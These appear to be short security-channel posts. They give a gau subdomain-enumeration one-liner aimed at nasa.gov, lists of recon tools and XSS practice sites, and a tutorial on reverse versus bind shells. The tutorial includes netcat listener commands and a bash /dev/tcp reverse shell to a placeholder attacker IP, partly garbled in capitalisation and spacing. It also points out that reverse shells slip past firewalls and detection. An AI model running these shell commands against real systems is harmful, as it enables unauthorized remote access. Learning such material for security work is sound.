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Subdomain Enumeration Using 📱 GAU

gau --subs nasa.gov | cut -d "/" -f 3 | sort -u

Subdomain Enumeration Tools. 1. Sudomy 2. MassDNS 3. TugaRecon 4. KnockPy 5. CeRo 6. BBoT 7. BruteSubs 8. BugcrowdDomain 9. Findomain 10. ViTa 11. OneForAll .

XSS Challenges 1. xss-quiz 2. xss-github 3. intigriti-xss 4. xss-games 5. xss-game .

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🛡 The difference between Reverse Shell and Bind Shell 🧑‍💻 .. 🚨 The difference is related to how to create a connection between the attacker and the target device (the victim) 👨‍💻 1️⃣ Reverse Shell: ✅ How works: ⏺ The target device (the victim) is the one who starts contacting the attacker, and then the attacker opens the port on his device and listens to an upcoming connection from the victim. The victim connects to the attacker through this port, giving the attacker to the target device. An example of an attack: The attacker: It opens a port to listen with a tool like NetCat:            NC -LVP 4444       ⏺ ⏺ L listening ⏺ v means (verbose) P 4444 means the p he listens to. The victim: An order is carried out on the target device to create a connection with the attacker. for example:            Bash -I> &/Dev/TCP/Attacker_IP/4444 0> & 1       This opens a connection to Attacker_IP to the 4444 port and gives the attacker to Shell on the target device. ✅ The result: The attacker gets full access to the victim's device via Shell. ✔️ Its advantages: The Firewalls often go beyond because the connection begins from within the targeted network. It is difficult to discover it because it looks like a normal connection from inside the network. 2️⃣ Bind Shell: ✅ How works: ⏺ The target device (the victim) opens a Port and listens to a coming connection from the attacker, and then the attacker connects to this port to obtain access to the target device. An example of an attack: The victim: An order is carried out on the target device to open a port and listen to a coming connection:            NC -LVP 4444 -E /BIN /Bash       ⏺ Meaning the -E /Bin /Bash that any contact with this port will give Shell to the connected entity. The attacker: Contains the victim using NetCat:            NC Victim_IP 4444       ⏺ with its Victim_IP is the victim's IP address, and 4444 is the open port. ✅ The result: The attacker gets full access to the victim's device via Shell. ✔️ Its advantages: The easiest implementation in terms of the attacker, but it is more likely to discover because the open port can draw the attention of safety tools. ✔️ When do you use each of them: 🟢 Reverse Shell:  When the victim is behind a protection wall or NAT. When you want to avoid discovery. Bind shell: When the victim is connected directly to the Internet and without protection walls that hinder the connection. @GitBook_s